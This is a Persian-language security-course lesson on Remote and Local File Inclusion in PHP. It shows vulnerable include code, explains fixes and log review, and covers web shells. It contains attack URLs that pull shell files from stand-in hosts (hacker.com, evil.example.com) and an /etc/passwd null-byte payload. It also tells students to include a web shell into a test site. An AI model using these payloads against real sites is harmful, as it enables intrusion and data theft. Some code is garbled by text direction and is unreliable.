مبحث یکم : مقدمه و تاریخچه
مبحث دوم: مراحل نفوذ کردن / جلوگیری از نفوذ
مبحث سوم: حملات شبکه ای
مبحث چهارم - کار عملی
مبحث پنجم - DHCP
مبحث ششم - وب و حملات مطرح در آن
مبحث هفتم - حملات DoS
مبحث هشتم - سیستم عامل
مبحث نهم - مهندسی اجتماعی
مبحث دهم - Vulnerability (آسیب پذیری)

RFI (Remote File Inclusion) و (Local File Inclusion) LFI

موضوع: (RFI (Remote File Inclusion

Local File Inclusion) LFI)

RFI حمله ای است که بر روی web application انجام می شود. این حمله دسترسی از راه دور را از طریق اسکریپتی بر روی یک وب سرور ایجاد می کند که این مسئله می تواند منجر به حملات دیگری شود مثل XSS و …

ساختار حملات SQL- Injection و XSS را می توان به سایر موارد تعمیم داد. برای مثال اساس کار این دو حمله، ورودی کاربر بود. کاربر با ورودی (Input) می توانست یک سری دستور و کد را inject کند.

اما حملات RFI و LFI چه هستند؟ یک نوع رخنه امنیتی Web Application است. RFI: نفوذگر قصد ایجاد یک دسترسی از طریق یک اسکریپت بر روی Web Server دارد، که این مسئله می تواند منجر به حملات دیگری شود مثل XSS،  Denial Of Service (DoS)، تغییر و سرقت داده و …

پیدا کردن آسیب پذیری RFI و یک وب سایت. فرض کنید آدرس وب سایتی به گونه زیر است:

http://www.site.com/index.php?page=data

data می تواند هر چیزی مثل یک فایل و … باشد. اگر data یک فایل باشد، غالباً کد PHP از آن در تابع include () استفاده می کند.

فرض کنید کد PHP سایت بالا به صورت زیر باشد.

(([‘if(isset($_GET[‘page

{

   ;(” include ($_GET[‘page’].”.php

}

Else

{

    ;(‘<echo(‘<p><a href=”index.php?page=1”>page1</a></p

    ;(‘<echo(‘<p><a href=”index.php?page=2”>page2</a></p

    ;(‘<echo(‘<p><a href=”index.php?page=3”>page3</a></p

}

حال اگر در آدرس سایت به جای http://……./indexphp?page=4 بزنیم. پیام های زیر دریافت می شود که این یعنی این سایت به آن حمله RFI وارد است.

Warning: include (page4.php)[function include]:failed to open stream: no such file or directory in PATH on line 3

Warning: include ()[function include]:failed to opening page4.php for inclusion (include_path=’.PATH’) PATH\index.php on line 3.

 

حال نفوذگر می تواند کد خود را به این سایت تزریق کند. بررسی مثال:

http:…. ? page=http://hacker.com/shell.txt

رهه پیدا کردن این که به کدام سایت ها حمله RFI انجام شدنی است استفاده از Google hacking است.

کد آسیب پذیر دیگر: در این صفحه PHP رنگ صفحه می تواند اختصاص یابد.

<?php $color= ‘blue’

(([‘if (isset ($_GET[‘COLOR

{

    ;[‘$color=$_GET[‘COLOR

    ;(‘include($color. ‘.php

}

?>

<from method=”get”>

<select name= “COLOR”>

<option value= “red”>red</option>

<option value= “blue”>blue</option>

</select>

<input type=”submit”>

</form>

آدرسی که نفوذگر وارد می کند.

/vulnerable.php?COLOR=http://evil.example.com/webshell.txt

و یا می توان یک فایل را در آن آپلود کرد که این حالت می شود LFI. استفاده از \\ یعنی واقعاً قصد داریم \ وجود داشته باشد. (\\ تبدیل به \ می شود) آدرس زیر آدرس فایلی است که در سیستم وجود دارد.

/vulnerable.php?COLOR=c:\\ftp\\upload\\exploit

و یا فایل پسوردها را استخراج کنیم.

/vulnerable.php?COLOR=/etc/passwd%00

راه های جلوگیری از RFI

  • جلوگیری از کلماتی مثل http، www، /..، ؟ و غیره. یعنی در کد خود این کلمات را در نظر نگیریم.
  • عدم نمایش errorهای PHP
  • اصلاح کد ذکر شده

(([“If (isset ([$_GET[“page

{

    (“if ($_GET[“page”]=”page1

     (“include (“1.php

    (“if ($_GET[“page”]=”page2

     (“include (“2.php

    (“if ($_GET[“page”]=”page3

     (“include (“3.php

}

else

{

    ;(‘<echo (‘<p><a href= “index.php?page=1”>page1</a></p

    ;(‘<echo (‘<p><a href= “index.php?page=2”>page2</a></p

    ;(‘<echo (‘<p><a href= “index.php?page=3”>page3</a></p

{

       در کد قبلی (حالت اول) آن چیزی که با متود GET گرفته می شد را به عنوان اسم فایل در نظر می گرفت و همان را load می کرد. اما در این کد چیزی را که با متود GET می گیرد بررسی می کند اگر هرچه بود چه کارهایی انجام شود یعنی مستقیم آن ها را load نمی کند. پس اگر چیزی به غیر از page1، page2، page3 وارد شود به قسمت else می رود.

کار دیگر این است که به جای متود GET (در صورت امکان) از متود POST استفاده شود (که محتوا در URL دیده نشود).

با استفاده از دستور include () می توان کدهای یک page دیگر را در page خود include کرد. مثلاً زمانی که می خواهیم روال برنامه را عوض کنیم مثلاً اگر کاربر admin است فلان page و…

مثال دیگر از یک کد سایتی که می تواند مورد حمله RFI قرار بگیرد. ای سایت یک لیست به کاربر نمایش می دهد که کاربر با انتخاب فایل مورد نظر خود و کلیک بر روی دکمه submit باعث می شود آن فایل نمایش داده شود(شکل 1).

شکل 1

در شکل 2 می توانید کد PHP آن را ببینید.

حمله ای که می توان به سایت بالا داشت این است که به جای فایل یک آدرس دیگر را بدهیم مثلاً /etc/passwd که آدرس فایلی است که اطلاعات user ها در آن است (این آدرس را باید در url وارد کنید . مثل کدهایی که در قبل ارائه شد). بدین ترتیب می توان فایل های local سیستمی که مورد حمله قرار گرفته است را مشاهد کرد که می شود (LFI) Local File Inclusion. با این روش نه می توان فایل آپلود کرد، و نه دانلود. صرفاً فایل های محلی که روی سیستم هدف هست را بیینیم.

برای فرار از IDS هم می توان به صورت /etc/passwd را وارد کرد (شکل 3)

دستور include یک فایل را include می کند و نه یک شاخه را.

فایل رمزهای عبور در سیستم عامل لینوکس /etc/shadow است.

در شکل 4 می بینید که مجوزهای فایل passwd با فایل shadow متفاوت است. فایل  passwdرا هم صاحبش هم همگروهی های فایل و هم برای همه دنیا مجوز read وجود دارد.

شکل 4

-rw-r–r–

عبارت بالا نمونه ای از مجوز در لینوکس است. از سمت چپ اولین مورد نشان دهنده نوع فایل، سه مورد بعد نشان دهنده مجوزهای صاحب فایل، سه مورد بعد نشان دهنده مجوز همگروهی و سه مورد آخر مجوز دنیا است

اما فایل shadow را فقط admin می تواند بخواند.

در فایل shadow، نام کاربری به اضافه پسوردهای هش شده را می توان دید. الگوریتم های هش (Hash) یک طرفه هستند. یعنی با داشتن خروجی تابع نمی توان به ورودی آن پی برد.

برخی از سیستم عامل ها هستند که به هنگام  نصب وب سرور باید admin باشید و وب سرور هم با کاربر admin اجرا می شود. مشکل این ها این است که وقتی با admin  اجرا می شود یعنی دسترسی های آن، دسترسی سطح admin است. حالا اگر به آن ها کد inject شود با دسترسی admin آن ها اجرا می شوند و اگر فایل را include کنید انگار که admin دارد فایل را می بیند. در این گونه از سیستم ها به محض این که LFI پیدا شد می توان هر فایلی را خواند. اما در سیستم های عاملی مثل لینوکس، سولاریس، BSD و سایر سیستم هایی که مبتنی بر یونیکس هستند برای هر Application نام کاربری خاص خودش تعریف می شود. اگر دستورcat /etc/passwd را اجرا کنید، در آن userهای مختلفی را می بینید وب سرور، تحت نام کاربری apache اجرا شده است. کاربر apache نمی تواند فایل shadow را بخواند.

با بررسی log فایل ها می توان فهمید چه کسی به چه جا هایی قصد دسترسی پیدا کردن را داشته است (error log, access log). نمونه ای از log ها در شاخه زیر قابل مشاهده هستند.

/var/log/httpd/access-log*

  فایل های log به صورت rotate (چرخشی) بعد از مدتی پاک می شوند (مثلاً چهار هفته یک بار)

فایل error-log

cat /var/log/httpd/error-log

      برای بررسی log  ها ابزار وجود دارد.

میزان log ها وابسته است به این که برنامه ای که در سمت سرور اجرا شود تا چه حد log را به وجود می آورد.

وقتی در یک سایتLFI داریم ممکن است  RFIهم وجود داشته باشد. یعنی ممکن است این قابلیت برای نفوذگر فراهم شده باشد (مثل کد شکل 2) با استفاده از تابع include یک فایل  remoteرا هم می توان گرفت. یعنی به جای /etc/passwdیک آدرس remote قرار دارد. این تکنیک  ها این گونه به کار می آیند که نفوذگر یک اسکریپتی را بسازد و در سرور خود قرار دهد. سپس آدرس آن را وارد کند.

خطرات LFI:

1- می توان به یک فایلlocal در سیستم هدف دسترسی داشت که به آن information leakage(نشست اطلاعات) می گویند. مثل خواندن فایل پسورد passwd

2- اگر روی سرور مورد هدف قبلاً نفوذگر یک فایل را  uploadکرده باشد، می توان آدرس آن را وارد کرد و آن را  includeکرد.

خیلی از حملاتی که انجام می شوند (تحت وب) در نهایت سعی می کنند به  web sellبرسند. Web shellها صفحات PHP، ASP  و یا صفحات وبی هستند که با استفاده از زبان های برنامه نویسی، قابلیت هایی ورای دیدن صفحات وب را در اختیار قرار می دهند (مثلاً اجرای دستور سیستمی و جمع آوری اطلاعات).

در اینترنت به دنبال  web shellهای مختلف بگردید. نام برخی از آن ها FxO، C99، R57 است و web shell ایرانی هم وجود دارد(itsecteam). Web shellهای مختلف امکانات مختلف در اختیار قرار می دهند (شکل 5 نمایی از FxO).

شکل 5

سوال: چگونه می توان این فایل را روی سیستم هدف  uploadکرد. با توجه به این که گفتیم در LFI دسترسی  uploadنداریم؛ و این که آدرس فایل را در کجا پیدا کنیم؟(با فرض وجود)

نکته: خیلی وقت ها روی سیستم های وب شما فایل های بسیار زیادی (به دلیل گسترده شدن ساختار وب آن) وجود دارد که چنین فایل  web shellرا اگر در آن باشد ممکن است پیدا نکنید. با توجه به این که کسی که  web shellرا در سیستم شما  uploadمی کند با نام واقعی مثل  web shellآن را نامگذاری نمی کند مثلاً نام آن را image.src  قرار می دهد. پس کاری که به عنوان admin انجام می دهید این است که فایل هایی که روی سیستم وب سایتان است بررسی کنید (چک های دوره ای فایل ها براساس قوانین ISMS)

در وب سرورها بحث لیست کردن  directoryها را داریم که غالباً آن را  cancelکرده اند. به صورت پیش فرض زمانی که آدرس سایت زده می شود صفحه  index.htmlو …   load می شوند این مسئله در  configمرورگر قابل تعریف است. حال اگر در آن پوشه فایلindex.html وجود نداشته باشد در آن فولدر، لیست دایرکتوری ها نمایش داده می شود. اگر وب سرور درست  config شده باشد directory listing،  denyاست (یعنی اجازه داده نمی شود و یک صفحه  not foundیا errorرا نمایش می دهد).ابزارهای مثل crawlerها، spiderها وجود دارند که این ابزارها از روی لینک های مختلفی که در سایت قرار داده شده است (آدرس لینک ها) و از روی  dictionaryکه دارند سعی می کنند آدرس های مختلفی از یک سایت را در بیاورند. نحوه کارشان این گونه است که درخواست یک فایل را به سرور می دهند اگر سرور error داد یعنی آن فایل وجود ندارد و این گونه لیستی از فایل ها را برای ما تهیه می کنند (سیستم هایی مثل Google،  yahooخودشان  spiderوcrawler دارند که از  robots.txt هم استفاده می کنند. با استفاده از robots.txt،  spiderمی فهمد که در کجاها نباید برود).

غالباً در  LFIبه دنبال فایل های حساس سیستم می گردیم (فایل هایی که عمومی هستند) مثل  passwd، shadow، system32، فایلSAM (پسوردهای ویندوز)، sql.conf، php.ini (که بعد از نصب   phpبه طور پیش فرض در آدرس مشخصی قرار می گیرد) و غیره. اگر مسیر این فایل ها را تغییر ندهیم و نفوذگر بتواند به این فایل ها دسترسی پیدا کند می تواند در این فایل های از  configاطلاعاتی مثل پسوردها و …  استفاده نماید.

دسترسی webshell، تحت کاربر apacheاست چوب وب سرور تحت کاربر  apache اجرا شده است آن فایل هم فایلی در وب سرور است پس تحت کاربر  apacheاجرا می شود.

دسترسی را باید در سیستم به گونه ای تعیین کنیم که اگر  web shellهم وجود داشت هر کاری نتواند بکند.

گفتم که RFI یک فایل remote را include می کند.

در اینترینت جستجو کنید و web shell بیاید. در backtrack در زیر شاخه /var/www قرار دهید. بعد به سایت هدف حمله کرده (سایت تستی که در کلاس مطرح شده است) و آدرس web shell را در آن وارد کنید. این کار باعث می شود تا فایل web shell در سیستم هدف include شود.

محیطی که در لینوکس آن command می زنند را shell می گویند. Web shell یعنی shell که تحت وب اجرا می شود.)

غالباً web shell را به گونه ای می نویسند که سیستم عامل را بتواند تشخیص دهد و بداند که با چه روشی باید اقدام کند.

بعد از اجرای web shell روی سیستم هدف، کارکردهای مختلفی (بسته به آن web shell) در اختیار قرارمی گیرد مثل upload کردن فایل، کپی فایل، DoS کردن سرور (مثلاً یک تابع PHP دارد که در loop می افتد و سررو DoS می شود). می توان یک سری Exploit روی سیستم upload کرد که یک پورتی را روی سیستم باز کند.

می توان با بررسی فایل های log دسترسی های عجیبی مثل www.site.com/index.php?page=http://abc.com را پیدا کرد (عجیب است چون وسط یک url یک http… وجود دارد)

برخی web shell ها قابلیت self-remove دارند که این قابلیت باعث می شود web shell خودش را پاک کند و هیچ اثری از خودش باقی نگذارد.

دقت کنید Remote File Inclusion, RFI است. Include و نه upload. یعنی صرفاً یک فایل از یک سیستم راه دور  include می شود.

هدف خیلی از حملات این است که در نهایت برسند به sell. یعنی حتی SQL هم که inject می کنند می آیند و در کد inject خود کل فایل PHP مربوط به web shell را در آن inject می کند که بعد از آن که کد load شد یک sell  در اختیار نفوذگر قرار داده شود.

اسکرول به بالا